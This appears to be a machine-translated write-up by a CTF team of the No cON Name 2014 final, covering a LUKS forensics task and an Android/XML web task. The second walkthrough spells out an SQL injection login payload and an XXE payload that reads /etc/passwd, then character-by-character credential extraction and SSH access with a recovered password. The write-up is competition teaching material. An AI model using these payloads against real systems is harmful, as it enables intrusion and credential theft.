ファイナル中のCTFゾーン
CTFとは何ですか?
Capture The Flagコンペティションが何であるか知らない人のために。 これは一種のプログラミング競争に似ていますが、ここではほとんどの場合、独自のコードを記述する必要はありませんが、他の誰かのエラーを悪用します。 タスクは、実際のプログラムで発生する脆弱性を模倣します。たとえば、バッファオーバーフロー、「自家製」暗号化、SQLクエリへのエスケープなしのテキスト挿入、またはコンピューターインシデントの調査に使用されるものと同様のアクションが必要です:ログの分析、削除されたファイルと隠しデータの検索。 正しく完了したタスクの結果は、テキスト文字列- フラグです。 受け取った旗は、チームの得点を得るために競技会の主催者に渡されます。
これらのコンテストのほとんどはオンラインで開催され、無料で登録できます。 それらの最大のものには最終ラウンドもあり、オンラインツアーでトップの座を獲得した複数のチーム(約10)が主催者のプラットフォームに集まり、同じ条件(タイムゾーンに関係なく)で1位を競います。
ちょっとした歴史:「No CON Name CTF 2013」
昨年、 No cON Name CTFはFacebookと共催されました。 わずか3つのタスクで構成されたかなり奇妙な予選ラウンドにもかかわらず、決勝は興味深く、注目に値するものであることが判明しました。 昨年の決勝戦の形式は、CTFハッカー競技ではやや珍しいものでした。それぞれのソリューションには、一定量のポイントが一度に与えられるタスクがあり、オーガナイザーのサーバーには中立的なサービスもありました。 サービスの1つで脆弱性を悪用する場合、チームはその名前をサーバー上の特定のファイルに書き込む必要がありました。 一定期間に一度、主催者のテストプログラムはこのファイルからチーム名を取得し、一定数のポイントを授与しました。
BalalaikaCr3wチームは昨年3位になりました
予選ツアー「No cON Name 2014」
今年、予選ステージは24時間続き、10のタスクで構成されていました。そのうちの9つはゲームの最初の時間で決定しました。 CTFが終了する5〜6時間前に、 Explicitという最後のタスクを解決できました。 予選段階のいくつかのタスクの分析は、ブログで読むことができます。
最終的な「No cON Name 2014」
すでにご存知のように、決勝はラモン・リュル大学の領土でバルセロナで開催されました。 条件:8時間、16タスク。 タスクの価格は150〜400ポイントです。 タスクの1つは一般的なインタラクティブサービスで、その「キャプチャ」は10分ごとに50ポイントをチームにもたらします。
次に、いくつかのタスクとそれらを解決するためのアプローチについて説明します。 このテキストは、情報セキュリティのファンのためではなく、そのような競技会で何をしているのかに興味がある人のために考案されたので、詳細を犠牲にしていくつかの点を簡略化しました。 詳細な分析については、チームのブログに記事があります。
HIDDENtation Quest(300ポイント)
割り当て:約95 MBのサイズのファイルが指定された場合、「 ファイルを深く掘り下げてフラグを見つけます 」。
CTFで最も楽しい瞬間の1つは、何か新しいことを学ぶことです。 今回は、LUKSドライブの暗号化形式を理解する必要がありました。 16進エディタとインターネット検索で文字列「 LUKs 」( 4C 55 4B 73 )を使用すると、添付ファイルがこのような仮想暗号化ディスクであることがすぐにわかります。
このディスク形式の通常のcryptsetupユーティリティは、ジョブからのファイルの処理を拒否し、 「 デバイスの非表示は有効なLUKSデバイスではありません 」 というメッセージを表示しました 。 フォーマットの説明から、ファイルの先頭の正しい署名は「 LUKS 」( 4C 55 4B 53 )である必要があることがわかります。 修正し、ファイルが開きますが、暗号化されたディスクへのキーがありません。
ドキュメントを読んだ後、ディスクがマスターキーで暗号化されていることがわかりますが、このキー自体はユーザーに与えられず、ディスクヘッダーに暗号化された形式でいくつかのコピーで保存されます。 マスターキーの各コピーを復号化するには、独自のユーザーキーが使用されます。 ディスクヘッダーでこのために特別に割り当てられたセルの数に応じて、最大8つのユーザーキーがあります。
この場合、 cryptsetupユーティリティは、8つのセルすべてが空であることを保証しました。 ただし、16進エディターでセルが配置されている場所を注意深く見ると、いずれかのセルにデータがあることがわかります。
値が0x0000DEADのレコードの最初の4バイトは、非アクティブであることを示します。 それらを0x00AC71F3に置き換えると、このエントリがアクティブになります。 次に、このセルのユーザーキーを見つける必要があります。
ヘッダーの直後、通常ゼロバイトが追加され、位置合わせのために追加される場所で、テキストにはいくつかの特殊文字が含まれます。
「 \ x19 \ \ x07 \ xDDで最も一般的 なパスワードを試してください 」と解釈できます。 「 2013年の最も人気のある25のパスワードを試してください。 」 ただし、コンテナを開くことを許可されている25の最も一般的なパスワードはありません。
残念ながら、次のステップは推測ゲームであることが判明しました(すべてのCTFチームにとって最も愛されていないカテゴリのタスク)。 cryptsetupユーティリティがタスク内のコンテナと同じコンテナを作成したことは幸運です。 コンテナを自分で作成した後、「 キーマテリアルオフセット 」フィールドの最後のキーのレコードに値0x0708が含まれていることがわかりましたが、タスクのファイルでは0x0608です。
正しい値を置き換えると、パスワード「 shadow 」でコンテナを開くことができます。
しかし、これは完全な解決策ではありません。 復号化されたコンテナには、3つのパーティションを持つディスクイメージが含まれていました。 最初の2つのセクションのヘルプファイルでは、3番目のセクションで探すべき内容について説明しました。 3番目のセクションには、ファイルがまったく含まれていませんでした。 オーガナイザーが後で私たちに説明したように、あるオフセットでファイルが置かれたNTFSパーティションがありました。 ただし、最初のCTFルール「 strings everywhere 」を使用しました。 ファイルからの行のヒープの中に、非常に興味深いものがあります。
rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r
その結果、rot13を適用した後、フラグを取得します。
NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e 。
Quest demDROID(400ポイント)
タスク:.apkファイルの形式のAndroidアプリケーションを指定します。
Habrには、このようなファイルを逆コンパイルする方法に関する記事がたくさんありますので、これについては詳しく説明しません。 逆コンパイル後、アプリケーションがゲームサブネット上のサーバー10.210.6.1に接続し、次のHTTP要求を送信することがわかります。
POST / HTTP/1.0 Content-Type: text/xml User-Agent: denDROID 1.0 Host: 10.210.6.1 <login><username>{$username}</username><password>{$password}</password></login>
現在、操作には2つのオプションがあります。
1. SQLインジェクション。 2つのクエリ(ヘッダーなし)を比較します。
通常のクエリ:
<login><username>balalaika</username><password>asd</password></login>
答えは:
<response>User balalaika is not found!</response>
ログインでのログインリクエスト:
<login><username>q' OR 'x'='x</username><password>asd</password></login>
答えは:
<response>Invalid password for user q' OR 'x'='x!</response>
2.攻撃XXE(XML外部エンティティ)
リクエスト:
<!DOCTYPE login [<!ENTITY xxe SYSTEM "/etc/passwd">]><login><username>q' OR 1=1 /*&xxe;</username><password>&xxe;</password></login>
答えは:
<response>Invalid password for user q' OR 1=1 /*root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh # sync:x:4:65534:sync:/bin:/bin/sync # games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh # lp:x:7:7:lp:/var/spool/lpd:/bin/sh # mail:x:8:8:mail:/var/mail:/bin/sh # news:x:9:9:news:/var/spool/news:/bin/sh # uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin messagebus:x:102:103::/var/run/dbus:/bin/false ch6:x:1000:1000::/home/ch6:/bin/sh !</response>
XXEを使用して、フラグ付きのファイル名のさまざまなオプション( flag 、 flag.txt 、 / flag 、 / flag.txtなど)、およびさまざまな構成ファイル( /etc/nginx/nginx.confなど)をソートしようとします。面白いものは何も見つかりません。
SQLインジェクションの操作に戻ります。 SUBSTR()関数を使用して、データベース内の唯一のユーザーであることが判明したように、文字ごとにユーザー名とパスワードを選択します。 その下にログインしようとします。
<login><username>l3wlzHunt3r</username><password>mw4h4h4</password></login>
サーバーの応答:
<response>Welcome, l3wlzHunt3r! Good job! But your flag is in another castle!</response>
ああ、これらのトロル
悲しいかな、これは答えではありません。 CTFのタスクは、一見正しい方法で解くと誤った結果になるような方法で配置される場合があります。 ハニーポット 、いわば。
データベースには他に何もなかったため、XXEに戻る必要がありました。 ユーザーch6の .bash_historyファイルを見ると、疑わしい行がいくつかあります。
... tjG86fKwJ2yZ ... sudo vim /etc/hosts ping Wopr sudo vim /etc/hosts ping Osiris nc Osiris 1135 nc Osiris 11235 curl Osiris 11235 curl Osiris:11235 ...
tjG86fKwJ2yZがユーザーch6のパスワードであることが判明しました。 次に、小規模の場合:
ssh ch6@10.210.6.1 tjG86fKwJ2yZ $ curl Osiris:11235 NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f
フラグ: NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f
権利は.sashアクセスが.bash_historyを削除し 、公開キーをauthorized_keysに追加し、他のコマンドへのアクセスを完全に禁止するように設定されているため、これは主催者側のあまり意図的な動きではないことに注意してください。
また、Osirisホスト(アドレスは/ etc / hostsファイルからXXEを介して見つけることができます )がコマンドコンピューターから直接アクセスできなかったことも注目に値します。 サーバー10.210.6.1からのみアクセスできました。
それにもかかわらず、タスクは一度に2つのカテゴリのスキル(リバース+ Web)を必要としたため、困難で一般的に興味深いことが判明しました。
タイムライン
最初の数分から、私たちは最初の血を作ることによって私たち自身の手にイニシアチブを取りました。
最初に解決したタスクは、 WireTapと呼ばれるかなり単純なステガノグラフィーでした。
日中、トーナメントのホストであるスペインの経験豊富なチームint3pidは、ポイントを使ってアカウントを開設し、ニュートラルドラゴンサービスを獲得しました。 捕獲されたサービスのint3pidが10分ごとに50ポイントを受け取り、同時に他のタスクを解決してポイントを獲得したため、陰謀は大きくなりました。 数時間後、ウクライナのdcuaチームは、 ウォッカと呼ばれるタスクを解決して争いに入りましたが、彼らが勝利を主張することはすでに困難でした:私たちのBalalaikaCr3wチームとint3pidsホームチームはすでに先を行っていました。
その結果、私たちは大会の最後までスコアボードのトップラインを維持することができました。
スコアがゼロのチームはスコアボードに表示されませんでした
バルセロナのNcN CTFは2年目であり、他のCTF競技会ほど人気がなく有名ではないことは注目に値します。 ただし、イベントの質は向上しています。 No cON Nameアソシエーションが彼らの栄冠にとどまることなく、さらに前進し、さらに興味深いタスクを準備し、より多くのスポンサーを引き付け、彼らの会議とCTFのレベルと名声を高めたいと思います。
謝辞
BalalaikaCr3wチームは、ファイナルへの旅を支援し、組織してくれたイノポリス大学に感謝します。 イノポリスは、ITとロボット工学に重点を置いた新しい大学です。 来年からサイバーセキュリティマスタープログラムの開始が計画されており、情報セキュリティの分野で若い専門家を積極的に集めています。
私たちのチームは、このイベントに参加する従業員の実行可能なサポートについて、 ActiveおよびABBYY Language Servicesの企業にも感謝しています。
参照資料
No cON Name CTF 2014ファイナルおよびその他のコンペティションのタスクの分析については、ブログctfcrew.orgをご覧ください。
今後のCTFに関する情報と、一般的にすべてのチームのメインリソースであるCTF世界のすべてのイベントに関する情報: ctftime.org